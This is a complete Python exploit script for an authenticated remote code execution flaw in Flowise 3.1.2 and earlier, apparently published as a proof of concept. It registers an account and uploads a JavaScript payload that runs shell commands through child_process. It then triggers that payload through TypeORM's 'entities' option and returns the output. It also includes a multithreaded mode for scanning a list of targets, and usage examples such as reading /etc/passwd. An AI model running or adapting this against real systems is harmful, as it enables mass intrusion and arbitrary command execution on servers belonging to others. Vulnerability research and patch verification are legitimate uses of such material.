📄 Flowise 3.1.2 Authenticated Remote Code Execution

#!/usr/bin/env python3
    """
    CVE-2026-69251 - Flowise authenticated RCE via unsanitized TypeORM DataSource options
    Affected: Flowise (FlowiseAI) <= 3.1.2  (fixed in 3.1.3)
    Type: RCE (code injection, CWE-94)
    
    Root cause:
      Several record-manager and agent-memory nodes parse the user-supplied
      `additionalConfig` input as JSON and spread it straight into the object handed to
      `new DataSource(...)`. TypeORM treats the `entities` / `subscribers` / `migrations`
      options as code-loading directives: `DataSource.initialize()` resolves each as a glob
      and `require()`s every matching .js/.cjs/.mjs/.ts file. Any top-level statement in that
      file runs inside the Flowise Node process (root on the official image), outside vm2.
    
    Exploit chain:
      1. register the first account (whitelisted, one-shot) then log in for a cookie session
      2. create a document store
      3. upload a JavaScript payload through the File Loader (no MIME/extension check)
      4. POST /document-store/vectorstore/insert with an SQLiteRecordManager whose
         additionalConfig.entities globs the uploaded file
      5. the record manager's createSchema() reaches DataSource.initialize(), which require()s
         the payload. The payload throws its command output, which propagates back in-band as
         the HTTP 500 response body of the same request.
    
    Every authenticated request carries `x-request-from: internal`; without it Flowise 3.x
    answers 401 on every /api/v1/* route even with a valid session cookie.
    
    Usage:
      python exploit.py --host 127.0.0.1 --port 3100
      python exploit.py --host 127.0.0.1 --port 3100 --command "id; uname -a"
      python exploit.py --host https://flowise.corp.com --command "cat /etc/passwd"
      python exploit.py --list targets.txt --workers 20
    
    The vector store node is instantiated before the record manager fires, so the target
    must be able to reach a vector-store backend. A default Flowise install ships the
    POSTGRES_VECTORSTORE_* environment variables pointing at a co-located pgvector; the
    exploit defaults to that. Override with --vs-host/--vs-port/--vs-db if the target's
    reachable backend differs, or --vs-name chroma with --vs-host <chroma-url>.
    """
    
    import argparse
    import base64
    import json
    import ssl
    import sys
    import urllib.error
    import urllib.request
    import uuid
    from http.cookiejar import CookieJar
    from urllib.parse import urlparse
    
    CVE_ID = "CVE-2026-69251"
    VULN_TYPE = "RCE"
    
    DEFAULT_EMAIL = "[email protected]"
    DEFAULT_PASSWORD = "Flowise@12345"
    
    
    def header(host, port):
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n, msg):
        print(f"[STEP {n}] {msg}")
    
    
    def section(label, content):
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success, evidence):
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    # ---------------------------------------------------------------------------
    # HTTP client - one cookie jar per target, matches the Flowise 3.x session model
    # ---------------------------------------------------------------------------
    
    def _make_client(base, timeout):
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        opener = urllib.request.build_opener(
            urllib.request.HTTPCookieProcessor(CookieJar()),
            urllib.request.HTTPSHandler(context=ctx),
        )
    
        def call(method, path, body=None):
            data = json.dumps(body).encode() if body is not None else None
            req = urllib.request.Request(base + path, data=data, method=method)
            req.add_header("Content-Type", "application/json")
            # Mandatory on Flowise 3.x: without it a valid session cookie is ignored and
            # every authenticated route returns 401 {"error":"Unauthorized Access"}.
            req.add_header("x-request-from", "internal")
            try:
                with opener.open(req, timeout=timeout) as r:
                    return r.status, r.read().decode(errors="replace")
            except urllib.error.HTTPError as e:
                return e.code, e.read().decode(errors="replace")
    
        return call
    
    
    def _jbody(raw):
        try:
            return json.loads(raw)
        except Exception:
            return {}
    
    
    def _build_payload(command, marker):
        """A .js file that runs `command` and throws its stdout+stderr so the output
        propagates back in-band as the upsert's HTTP 500 body. The command is base64ed to
        avoid any JavaScript-string escaping concerns."""
        cmd_b64 = base64.b64encode(command.encode()).decode()
        js = (
            "var cp = require('child_process');\n"
            "var cmd = Buffer.from('" + cmd_b64 + "', 'base64').toString();\n"
            "var out;\n"
            "try { out = cp.execSync(cmd + ' 2>&1').toString(); }\n"
            "catch (e) { out = (e.stdout ? e.stdout.toString() : '') + "
            "(e.stderr ? e.stderr.toString() : '') + String(e.message || e); }\n"
            "throw new Error('" + marker + ":' + out + ':" + marker + "');\n"
        )
        return js
    
    
    def _extract_output(raw, marker):
        """Pull the command output out of a response body that carries MARKER:...:MARKER."""
        start = raw.find(marker + ":")
        if start == -1:
            return None
        start += len(marker) + 1
        end = raw.find(":" + marker, start)
        if end == -1:
            end = len(raw)
        out = raw[start:end]
        # The message was JSON-encoded once (newlines as \n); decode that layer.
        out = out.replace("\\n", "\n").replace("\\t", "\t").replace('\\"', '"')
        return out.strip()
    
    
    # ---------------------------------------------------------------------------
    # Core chain - shared by single-target and scan mode
    # ---------------------------------------------------------------------------
    
    def _run_chain(base, command, timeout, verbose, email, password, vs):
        """Drive register -> login -> store -> upload -> upsert. Returns
        (state, detail) where state is one of: 'rce', 'patched', 'backend', 'error'.
        'detail' carries the command output for 'rce', else a short message."""
        call = _make_client(base, timeout)
    
        def log(n, msg):
            if verbose:
                step(n, msg)
    
        # 1. register (one-shot; a 4xx just means the org already exists)
        log(1, "Registering first account (idempotent)...")
        st, raw = call("POST", "/api/v1/account/register",
                       {"user": {"name": "Admin", "email": email, "credential": password}})
        if verbose:
            section("REGISTER RESPONSE", f"HTTP {st}  {raw[:200]}")
    
        # 2. login
        log(2, "Logging in...")
        st, raw = call("POST", "/api/v1/auth/login", {"email": email, "password": password})
        if st != 200:
            return "error", f"login failed (HTTP {st}): {raw[:160]}"
        org_id = _jbody(raw).get("activeOrganizationId")
        if verbose:
            section("LOGIN", f"HTTP {st}  activeOrganizationId={org_id}")
    
        # 3. document store
        log(3, "Creating document store...")
        st, raw = call("POST", "/api/v1/document-store/store", {"name": "s", "description": ""})
        store_id = _jbody(raw).get("id")
        if not store_id:
            return "error", f"could not create document store (HTTP {st}): {raw[:160]}"
        if verbose:
            section("DOCUMENT STORE", f"HTTP {st}  storeId={store_id}")
    
        # 4. upload the payload as a .js file through the File Loader
        marker = "ALIM" + uuid.uuid4().hex[:16].upper()
        fname = "rce_" + uuid.uuid4().hex[:12] + ".js"
        js = _build_payload(command, marker)
        data_uri = ("data:text/javascript;base64,"
                    + base64.b64encode(js.encode()).decode()
                    + ",filename:" + fname)
        loader = {
            "storeId": store_id,
            "loaderId": "fileLoader",
            "loaderName": "File Loader",
            "loaderConfig": {"txtFile": data_uri, "splitterId": ""},
        }
        log(4, f"Uploading payload {fname} via File Loader...")
        st, raw = call("POST", "/api/v1/document-store/loader/save", loader)
        loader_id = _jbody(raw).get("id")
        if verbose:
            section("LOADER/SAVE", f"HTTP {st}  loaderId={loader_id}  {raw[:200]}")
        if loader_id:
            st, raw = call("POST", f"/api/v1/document-store/loader/process/{loader_id}", loader)
            if verbose:
                section("LOADER/PROCESS", f"HTTP {st}  {raw[:300]}")
    
        # 5. fire: upsert with attacker-controlled TypeORM DataSource options.
        #    A fresh filename per run defeats Node's require() module cache. The glob targets
        #    only this run's unique file (avoids threading orgId/storeId into the path) so the
        #    returned output is deterministically from THIS command. A broad `*.js` glob would
        #    also re-fire stale payloads from earlier runs: a module whose top-level throws is
        #    never added to Node's require cache, so it re-executes on every subsequent upsert.
        entities_glob = "/root/.flowise/storage/**/" + fname
        vs_config = {"host": vs["host"], "port": vs["port"],
                     "database": vs["db"], "tableName": "documents"}
        if vs["name"] == "chroma":
            vs_config = {"chromaURL": vs["host"], "collectionName": "documents"}
        insert = {
            "storeId": store_id,
            "embeddingName": "openAIEmbeddings",
            "embeddingConfig": {"modelName": "text-embedding-ada-002", "openAIApiKey": "sk-dummy"},
            "vectorStoreName": vs["name"],
            "vectorStoreConfig": vs_config,
            "recordManagerName": "SQLiteRecordManager",
            "recordManagerConfig": {
                "tableName": "upsertion_records",
                "additionalConfig": json.dumps({"entities": [entities_glob]}),
            },
        }
        log(5, "Triggering upsert -> DataSource.initialize() -> require(payload)...")
        st, raw = call("POST", "/api/v1/document-store/vectorstore/insert", insert)
        if verbose:
            section(f"UPSERT RESPONSE (HTTP {st})", raw[:900])
    
        out = _extract_output(raw, marker)
        if out is not None:
            return "rce", out
        if "Disallowed TypeORM DataSource option" in raw:
            return "patched", "sanitizeDataSourceOptions rejected the entities key (>= 3.1.3)"
        low = raw.lower()
        if ("connect" in low and ("pgvector" in low or "vector" in low or "postgres" in low
                                  or "econnrefused" in low or "getaddrinfo" in low)):
            return "backend", "vector store backend unreachable - bug not reached (fix --vs-*)"
        return "error", f"no payload output in response (HTTP {st}): {raw[:200]}"
    
    
    # ---------------------------------------------------------------------------
    # Single-target
    # ---------------------------------------------------------------------------
    
    def exploit(host, port, use_tls, command, email, password, vs):
        header(host, port)
        base = f"{'https' if use_tls else 'http'}://{host}:{port}"
        step(0, f"Base URL {base}")
        state, detail = _run_chain(base, command, timeout=180, verbose=True,
                                   email=email, password=password, vs=vs)
        if state == "rce":
            section(f"COMMAND OUTPUT ({command})", detail)
            first = detail.splitlines()[0] if detail.splitlines() else detail
            done(True, f"RCE confirmed - command '{command}' output: {first.strip()}")
        if state == "patched":
            done(False, f"Target patched - {detail}")
        if state == "backend":
            done(False, detail)
        done(False, detail)
    
    
    # ---------------------------------------------------------------------------
    # Scan mode
    # ---------------------------------------------------------------------------
    
    def _try_exploit(host, port, use_tls, command, email, password, vs):
        """Silent probe for --list. Returns (success, evidence). Never prints or exits."""
        base = f"{'https' if use_tls else 'http'}://{host}:{port}"
        try:
            state, detail = _run_chain(base, command, timeout=120, verbose=False,
                                       email=email, password=password, vs=vs)
        except Exception as e:
            return False, f"unreachable ({e.__class__.__name__})"
        if state == "rce":
            first = detail.splitlines()[0].strip() if detail.splitlines() else detail
            return True, f"RCE - '{command}' => {first}"
        if state == "patched":
            return False, "patched (entities rejected)"
        if state == "backend":
            return False, "vector store backend unreachable"
        return False, detail
    
    
    def _parse_target(line, default_port, default_path="/"):
        """One target line -> (host, port, use_tls, path), or None to skip."""
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file, default_port, workers, command, email, password, vs):
        import concurrent.futures
    
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port) for l in f]
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
        print(f"{'='*60}\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, _ = t
            label = f"{'https' if use_tls else 'http'}://{host}:{port}"
            ok, evidence = _try_exploit(host, port, use_tls, command, email, password, vs)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print(f"  {'[+]' if ok else '[-]'} {label} - "
                      f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploited / "
              f"{total - success_count} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
                                                "(e.g. https://host:3000)")
        target_grp.add_argument("--list", metavar="FILE",
                                help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=3000, help="Default port (default: 3000)")
        parser.add_argument("--command", default="id", help="Command to execute (default: id)")
        parser.add_argument("--workers", type=int, default=10,
                            help="Threads for --list mode (default: 10)")
        parser.add_argument("--email", default=DEFAULT_EMAIL,
                            help="Account email to register/login (default: %(default)s)")
        parser.add_argument("--password", default=DEFAULT_PASSWORD,
                            help="Account password (default: %(default)s)")
        parser.add_argument("--vs-name", default="postgres",
                            help="Vector store node name the target can reach "
                                 "(postgres|chroma, default: postgres)")
        parser.add_argument("--vs-host", default="pgvector",
                            help="Vector store host as seen from the target, or chroma URL "
                                 "(default: pgvector)")
        parser.add_argument("--vs-port", type=int, default=5432,
                            help="Vector store port (default: 5432)")
        parser.add_argument("--vs-db", default="flowise_vs",
                            help="Vector store database (default: flowise_vs)")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        vs = {"name": args.vs_name, "host": args.vs_host,
              "port": args.vs_port, "db": args.vs_db}
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers,
                 command=args.command, email=args.email, password=args.password, vs=vs)
        else:
            parsed = _parse_target(args.host, args.port)
            host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, args.command, args.email, args.password, vs)